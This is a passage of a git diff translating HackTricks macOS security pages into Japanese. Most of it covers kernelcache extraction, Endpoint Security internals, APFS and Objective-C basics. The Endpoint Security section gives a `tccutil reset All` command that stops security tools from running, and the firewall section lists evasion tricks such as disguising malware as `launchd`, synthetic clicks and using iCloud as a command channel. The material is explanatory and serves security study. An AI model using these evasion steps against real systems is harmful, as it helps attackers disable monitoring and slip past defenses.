encrypted +- よく圧縮されている (LZFSE4, LZSS, …) +- オプションで暗号化されている - **Manifest (IM4M)**: - - Contains Signature - - Additional Key/Value dictionary +- 署名を含む +- 追加のキー/値辞書 - **Restore Info (IM4R)**: - - Also known as APNonce - - Prevents replaying of some updates - - OPTIONAL: Usually this isn't found - -Decompress the Kernelcache: +- APNonce としても知られる +- 一部の更新の再生を防ぐ +- OPTIONAL: 通常は見つからない +Kernelcache を解凍する: ```bash # img4tool (https://github.com/tihmstar/img4tool img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e @@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e # pyimg4 (https://github.com/m1stadev/PyIMG4) pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - -### Download +### ダウンロード - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) -In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**. - -Check it for symbols with: +[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) では、すべてのカーネルデバッグキットを見つけることができます。ダウンロードして、マウントし、[Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) ツールで開き、**`.kext`** フォルダーにアクセスして**抽出**します。 +シンボルを確認するには: ```bash nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ``` - - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) -Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files. +時々、Appleは**kernelcache**を**symbols**付きでリリースします。これらのページのリンクをたどることで、symbols付きのファームウェアをダウンロードできます。ファームウェアには他のファイルとともに**kernelcache**が含まれています。 -To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it. +ファイルを**extract**するには、まず拡張子を`.ipsw`から`.zip`に変更し、**unzip**します。 -After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with: +ファームウェアを抽出すると、**`kernelcache.release.iphone14`**のようなファイルが得られます。これは**IMG4**形式で、興味深い情報を以下のコマンドで抽出できます: [**pyimg4**](https://github.com/m1stadev/PyIMG4)**:** - ```bash pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - [**img4tool**](https://github.com/tihmstar/img4tool)**:** - ```bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` +### カーネルキャッシュの検査 -### Inspecting kernelcache - -Check if the kernelcache has symbols with - +カーネルキャッシュにシンボルがあるか確認します。 ```bash nm -a kernelcache.release.iphone14.e | wc -l ``` - -With this we can now **extract all the extensions** or the **one you are interested in:** - +これで、**すべての拡張機能**または**あなたが興味のあるもの**を**抽出**できます: ```bash # List all extensions kextex -l kernelcache.release.iphone14.e @@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e # Check the extension for symbols nm -a binaries/com.apple.security.sandbox | wc -l ``` +## デバッグ -## Debugging - -## Referencias +## 参考文献 - [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/) - [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md index bb6bb0697..51b5360e3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md @@ -1,10 +1,10 @@ -# macOS Kernel Vulnerabilities +# macOSカーネルの脆弱性 {{#include ../../../banners/hacktricks-training.md}} -## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) +## [OTAのPwning](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) -[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\ +[**このレポートでは**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) ソフトウェアアップデーターを危険にさらすカーネルの脆弱性がいくつか説明されています。\ [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 83bdf0dc2..3957fdfff 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -4,78 +4,76 @@ ## System Extensions / Endpoint Security Framework -Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction. +Kernel Extensionsとは異なり、**System Extensionsはユーザースペースで実行され**、拡張機能の不具合によるシステムクラッシュのリスクを軽減します。
https://knight.sc/images/system-extension-internals-1.png
-There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions. +システム拡張には、**DriverKit** Extensions、**Network** Extensions、**Endpoint Security** Extensionsの3種類があります。 ### **DriverKit Extensions** -DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run. +DriverKitは、**ハードウェアサポートを提供する**カーネル拡張の代替です。USB、シリアル、NIC、HIDドライバなどのデバイスドライバがカーネルスペースではなくユーザースペースで実行できるようにします。DriverKitフレームワークには、**特定のI/O Kitクラスのユーザースペースバージョン**が含まれており、カーネルは通常のI/O Kitイベントをユーザースペースに転送し、これらのドライバが実行されるための安全な環境を提供します。 ### **Network Extensions** -Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions: +Network Extensionsは、ネットワークの動作をカスタマイズする機能を提供します。Network Extensionsにはいくつかのタイプがあります: -- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets. -- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets. -- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level. -- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level. -- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses. +- **App Proxy**: フロー指向のカスタムVPNプロトコルを実装するVPNクライアントを作成するために使用されます。これは、個々のパケットではなく接続(またはフロー)に基づいてネットワークトラフィックを処理します。 +- **Packet Tunnel**: パケット指向のカスタムVPNプロトコルを実装するVPNクライアントを作成するために使用されます。これは、個々のパケットに基づいてネットワークトラフィックを処理します。 +- **Filter Data**: ネットワークの「フロー」をフィルタリングするために使用されます。フローレベルでネットワークデータを監視または変更できます。 +- **Filter Packet**: 個々のネットワークパケットをフィルタリングするために使用されます。パケットレベルでネットワークデータを監視または変更できます。 +- **DNS Proxy**: カスタムDNSプロバイダーを作成するために使用されます。DNSリクエストとレスポンスを監視または変更するために使用できます。 ## Endpoint Security Framework -Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity. +Endpoint Securityは、AppleがmacOSで提供するフレームワークで、システムセキュリティのためのAPIセットを提供します。これは、**セキュリティベンダーや開発者がシステム活動を監視および制御する製品を構築するために使用することを意図しています**。 -This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events. +このフレームワークは、プロセスの実行、ファイルシステムイベント、ネットワークおよびカーネルイベントなど、システム活動を監視および制御するための**APIのコレクションを提供します**。 -The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components: +このフレームワークのコアはカーネルに実装されており、**`/System/Library/Extensions/EndpointSecurity.kext`**にあるカーネル拡張(KEXT)です。このKEXTは、いくつかの重要なコンポーネントで構成されています: -- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework. -- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls. -- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications. -- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients. +- **EndpointSecurityDriver**: これはカーネル拡張の「エントリーポイント」として機能します。OSとEndpoint Securityフレームワークの主な相互作用のポイントです。 +- **EndpointSecurityEventManager**: このコンポーネントはカーネルフックを実装する責任があります。カーネルフックにより、フレームワークはシステムコールを傍受することでシステムイベントを監視できます。 +- **EndpointSecurityClientManager**: これはユーザースペースクライアントとの通信を管理し、どのクライアントが接続されていてイベント通知を受け取る必要があるかを追跡します。 +- **EndpointSecurityMessageManager**: これはメッセージとイベント通知をユーザースペースクライアントに送信します。 -The events that the Endpoint Security framework can monitor are categorized into: +Endpoint Securityフレームワークが監視できるイベントは以下に分類されます: -- File events -- Process events -- Socket events -- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device) +- ファイルイベント +- プロセスイベント +- ソケットイベント +- カーネルイベント(カーネル拡張の読み込み/アンロードやI/O Kitデバイスのオープンなど) ### Endpoint Security Framework Architecture
https://www.youtube.com/watch?v=jaVkpM1UqOs
-**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller: +**ユーザースペース通信**はIOUserClientクラスを通じてEndpoint Securityフレームワークと行われます。呼び出し元のタイプに応じて、2つの異なるサブクラスが使用されます: -- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`. -- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework. +- **EndpointSecurityDriverClient**: これは`com.apple.private.endpoint-security.manager`権限を必要とし、これはシステムプロセス`endpointsecurityd`のみが保持しています。 +- **EndpointSecurityExternalClient**: これは`com.apple.developer.endpoint-security.client`権限を必要とします。これは通常、Endpoint Securityフレームワークと相互作用する必要があるサードパーティのセキュリティソフトウェアによって使用されます。 -The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT. +Endpoint Security Extensions:**`libEndpointSecurity.dylib`**は、システム拡張がカーネルと通信するために使用するCライブラリです。このライブラリは、I/O Kit(`IOKit`)を使用してEndpoint Security KEXTと通信します。 -**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment. +**`endpointsecurityd`**は、特に初期ブートプロセス中にエンドポイントセキュリティシステム拡張を管理および起動するために関与する重要なシステムデーモンです。**`Info.plist`**ファイルに**`NSEndpointSecurityEarlyBoot`**としてマークされた**システム拡張のみ**がこの初期ブート処理を受けます。 -Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions. +別のシステムデーモン、**`sysextd`**は、**システム拡張を検証し**、それらを適切なシステム場所に移動します。その後、関連するデーモンに拡張をロードするように要求します。**`SystemExtensions.framework`**は、システム拡張をアクティブ化および非アクティブ化する責任があります。 ## Bypassing ESF -ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting. +ESFは、レッドチームを検出しようとするセキュリティツールによって使用されるため、これを回避する方法に関する情報は興味深いです。 ### CVE-2021-30965 -The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running: - +問題は、セキュリティアプリケーションが**フルディスクアクセス権限**を持っている必要があることです。したがって、攻撃者がそれを削除できれば、ソフトウェアの実行を防ぐことができます: ```bash tccutil reset All ``` +**このバイパスおよび関連情報**については、トーク[#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)を確認してください。 -For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) +最終的には、新しい権限**`kTCCServiceEndpointSecurityClient`**を**`tccd`**によって管理されるセキュリティアプリに与えることで修正され、`tccutil`がその権限をクリアしないようにし、アプリが実行されるのを防ぎました。 -At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running. - -## References +## 参考文献 - [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs) - [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 7e9bb6e6d..21acf7e95 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -2,33 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -## Apple Propietary File System (APFS) +## Apple独自ファイルシステム (APFS) -**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**. +**Apple File System (APFS)** は、Hierarchical File System Plus (HFS+) に代わる現代的なファイルシステムです。その開発は、**パフォーマンス、セキュリティ、効率の向上**の必要性によって推進されました。 -Some notable features of APFS include: +APFSの注目すべき機能には以下が含まれます: -1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. - 1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. -2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted. -3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space. -4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases. -5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption. - -Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security. +1. **スペース共有**: APFSは、複数のボリュームが**単一の物理デバイス上の同じ基盤となる空きストレージを共有する**ことを可能にします。これにより、ボリュームは手動でのサイズ変更や再パーティション化なしに動的に増減できるため、より効率的なスペース利用が実現します。 +1. これは、ファイルディスクの従来のパーティションと比較して、**APFSでは異なるパーティション(ボリューム)がすべてのディスクスペースを共有する**ことを意味し、通常のパーティションは固定サイズでした。 +2. **スナップショット**: APFSは**スナップショットの作成をサポート**しており、これは**読み取り専用**の時点でのファイルシステムのインスタンスです。スナップショットは効率的なバックアップと簡単なシステムのロールバックを可能にし、最小限の追加ストレージを消費し、迅速に作成または復元できます。 +3. **クローン**: APFSは、元のファイルが変更されるまで**同じストレージを共有するファイルまたはディレクトリのクローンを作成**できます。この機能は、ストレージスペースを重複させることなくファイルやディレクトリのコピーを作成する効率的な方法を提供します。 +4. **暗号化**: APFSは、**ディスク全体の暗号化**だけでなく、ファイルごとおよびディレクトリごとの暗号化もネイティブにサポートしており、さまざまな使用ケースにおけるデータセキュリティを強化します。 +5. **クラッシュ保護**: APFSは、**ファイルシステムの整合性を確保するコピーオンライトメタデータスキーム**を使用しており、突然の電源喪失やシステムクラッシュの際でもデータの破損リスクを低減します。 +全体として、APFSはAppleデバイス向けに、パフォーマンス、信頼性、セキュリティの向上に重点を置いた、より現代的で柔軟かつ効率的なファイルシステムを提供します。 ```bash diskutil list # Get overview of the APFS volumes ``` - ## Firmlinks -The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`). - -The list of firmlinks can be found in the **`/usr/share/firmlinks`** file. +`Data` ボリュームは **`/System/Volumes/Data`** にマウントされています(`diskutil apfs list` で確認できます)。 +firmlinks のリストは **`/usr/share/firmlinks`** ファイルにあります。 ```bash ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 4561700b5..2f94e4753 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -7,22 +7,19 @@ > [!CAUTION] > Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of: -- The class -- The class methods -- The class instance variables +- クラス +- クラスメソッド +- クラスインスタンス変数 You can get this information using [**class-dump**](https://github.com/nygard/class-dump): - ```bash class-dump Kindle.app ``` +この名前は、バイナリのリバースエンジニアリングをより困難にするために難読化される可能性があることに注意してください。 -Note that this names could be obfuscated to make the reversing of the binary more difficult. - -## Classes, Methods & Objects - -### Interface, Properties & Methods +## クラス、メソッド & オブジェクト +### インターフェース、プロパティ & メソッド ```objectivec // Declare the interface of the class @interface MyVehicle : NSObject @@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor @end ``` - -### **Class** - +### **クラス** ```objectivec @implementation MyVehicle : NSObject // No need to indicate the properties, only define methods - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } @end ``` +### **オブジェクトとメソッドの呼び出し** -### **Object & Call Method** - -To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**. - +クラスのインスタンスを作成するために、**`alloc`** メソッドが呼び出され、各 **プロパティ** のために **メモリが割り当てられ**、その割り当てが **ゼロ** にされます。次に **`init`** が呼び出され、**プロパティ** が **必要な値** に **初期化** されます。 ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; @@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new]; // [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] [newVehicle addWheels:4]; ``` +### **クラスメソッド** -### **Class Methods** - -Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**: - +クラスメソッドは、インスタンスメソッドで使用されるハイフン (-) ではなく、**プラス記号** (+) で定義されます。例えば、**NSString** クラスメソッド **`stringWithString`**: ```objectivec + (id)stringWithString:(NSString *)aString; ``` - ### Setter & Getter -To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**: - +プロパティを**設定**および**取得**するには、**ドット表記**を使用するか、**メソッドを呼び出す**ように行うことができます: ```objectivec // Set newVehicle.numberOfWheels = 2; @@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2; NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels); NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); ``` +### **インスタンス変数** -### **Instance Variables** - -Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_": - +setterおよびgetterメソッドの代わりにインスタンス変数を使用できます。これらの変数はプロパティと同じ名前ですが、先頭に「_」が付いています。 ```objectivec - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfLeaves); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfLeaves); } ``` +### プロトコル -### Protocols - -Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods. - -There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**. +プロトコルは、メソッド宣言のセットです(プロパティなし)。プロトコルを実装するクラスは、宣言されたメソッドを実装します。 +メソッドには2種類あります:**必須**と**オプション**。**デフォルト**では、メソッドは**必須**です(ただし、**`@required`** タグで示すこともできます)。メソッドがオプションであることを示すには、**`@optional`** を使用します。 ```objectivec @protocol myNewProtocol - (void) method1; //mandatory @@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m - (void) method3; //optional @end ``` - -### All together - +### すべて一緒に ```objectivec // gcc -framework Foundation test_obj.m -o test_obj #import @@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m @implementation MyVehicle : NSObject - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfWheels); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfWheels); } @end int main() { - MyVehicle* mySuperCar = [MyVehicle new]; - [mySuperCar startEngine]; - mySuperCar.numberOfWheels = 4; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar setNumberOfWheels:3]; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar makeLongTruck]; +MyVehicle* mySuperCar = [MyVehicle new]; +[mySuperCar startEngine]; +mySuperCar.numberOfWheels = 4; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar setNumberOfWheels:3]; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar makeLongTruck]; } ``` +### 基本クラス -### Basic Classes - -#### String - +#### 文字列 ```objectivec // NSString NSString *bookTitle = @"The Catcher in the Rye"; NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding]; NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding]; ``` - -Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**. - +基本クラスは**不変**であるため、既存の文字列に文字列を追加するには**新しいNSStringを作成する必要があります**。 ```objectivec NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear]; ``` - -Or you could also use a **mutable** string class: - +また、**mutable** 文字列クラスを使用することもできます: ```objectivec NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]; [mutableString appendString:bookTitle]; @@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "] [mutableString appendString:@" and published in "]; [mutableString appendString:bookPublicationYear]; ``` - -#### Number - +#### 数字 ```objectivec // character literals. NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z'] @@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble: NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES] NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO] ``` - -#### Array, Sets & Dictionary - +#### 配列、セット & 辞書 ```objectivec // Inmutable arrays NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil]; @@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @ // Dictionary NSDictionary *fruitColorsDictionary = @{ - @"apple" : @"red", - @"banana" : @"yellow", - @"orange" : @"orange", - @"grape" : @"purple" +@"apple" : @"red", +@"banana" : @"yellow", +@"orange" : @"orange", +@"grape" : @"purple" }; // In dictionaryWithObjectsAndKeys you specify the value and then the key: NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys: - @"red", @"apple", - @"yellow", @"banana", - @"orange", @"orange", - @"purple", @"grape", +@"red", @"apple", +@"yellow", @"banana", +@"orange", @"orange", +@"purple", @"grape", nil]; // Mutable dictionary @@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW [mutFruitColorsDictionary setObject:@"green" forKey:@"apple"]; [mutFruitColorsDictionary removeObjectForKey:@"grape"]; ``` +### ブロック -### Blocks - -Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas. - +ブロックは**オブジェクトとして振る舞う関数**であるため、関数に渡したり、**配列**や**辞書**に**格納**することができます。また、値が与えられた場合には**値を表すことができる**ため、ラムダに似ています。 ```objectivec returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){ - //Perform operations here +//Perform operations here }; // For example int (^suma)(int, int) = ^(int a, int b){ - return a+b; +return a+b; }; NSLog(@"3+4 = %d", suma(3,4)); ``` - -It's also possible to **define a block type to be used as a parameter** in functions: - +関数の**パラメータとして使用されるブロックタイプを定義する**ことも可能です: ```objectivec // Define the block type typedef void (^callbackLogger)(void); // Create a bloack with the block type callbackLogger myLogger = ^{ - NSLog(@"%@", @"This is my block"); +NSLog(@"%@", @"This is my block"); }; // Use it inside a function as a param void genericLogger(callbackLogger blockParam) { - NSLog(@"%@", @"This is my function"); - blockParam(); +NSLog(@"%@", @"This is my function"); +blockParam(); } genericLogger(myLogger); // Call it inline genericLogger(^{ - NSLog(@"%@", @"This is my second block"); +NSLog(@"%@", @"This is my second block"); }); ``` - -### Files - +### ファイル ```objectivec // Manager to manage files NSFileManager *fileManager = [NSFileManager defaultManager]; // Check if file exists: if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) { - NSLog (@"File exists"); +NSLog (@"File exists"); } // copy files if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) { - NSLog (@"Copy successful"); +NSLog (@"Copy successful"); } // Check if the content of 2 files match if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) { - NSLog (@"File contents match"); +NSLog (@"File contents match"); } // Delete file if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) { - NSLog(@"Removed successfully"); +NSLog(@"Removed successfully"); } ``` - -It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**. - +ファイルを**`NSString`**オブジェクトの代わりに**`NSURL`**オブジェクトを使用して管理することも可能です。メソッド名は似ていますが、**`Path`**の代わりに**`URL`**が使われます。 ```objectivec ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 7d376dfe5..c83db69c6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -1,85 +1,75 @@ -# macOS Bypassing Firewalls +# macOS ファイアウォールのバイパス {{#include ../../banners/hacktricks-training.md}} -## Found techniques +## 発見された技術 -The following techniques were found working in some macOS firewall apps. +以下の技術は、いくつかの macOS ファイアウォールアプリで動作することが確認されました。 -### Abusing whitelist names +### ホワイトリスト名の悪用 -- For example calling the malware with names of well known macOS processes like **`launchd`** +- 例えば、**`launchd`** のようなよく知られた macOS プロセスの名前でマルウェアを呼び出すこと。 -### Synthetic Click +### 合成クリック -- If the firewall ask for permission to the user make the malware **click on allow** +- ファイアウォールがユーザーに許可を求める場合、マルウェアに **許可をクリックさせる**。 -### **Use Apple signed binaries** +### **Apple 署名のバイナリを使用** -- Like **`curl`**, but also others like **`whois`** +- **`curl`** のようなもの、他にも **`whois`** など。 -### Well known apple domains +### よく知られた Apple ドメイン -The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2. +ファイアウォールは、**`apple.com`** や **`icloud.com`** のようなよく知られた Apple ドメインへの接続を許可している可能性があります。そして、iCloud は C2 として使用される可能性があります。 -### Generic Bypass +### 一般的なバイパス -Some ideas to try to bypass firewalls +ファイアウォールをバイパスするためのいくつかのアイデア。 -### Check allowed traffic - -Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them +### 許可されたトラフィックの確認 +許可されたトラフィックを知ることで、潜在的にホワイトリストに登録されたドメインや、どのアプリケーションがそれらにアクセスできるかを特定するのに役立ちます。 ```bash lsof -i TCP -sTCP:ESTABLISHED ``` +### DNSの悪用 -### Abusing DNS - -DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers. 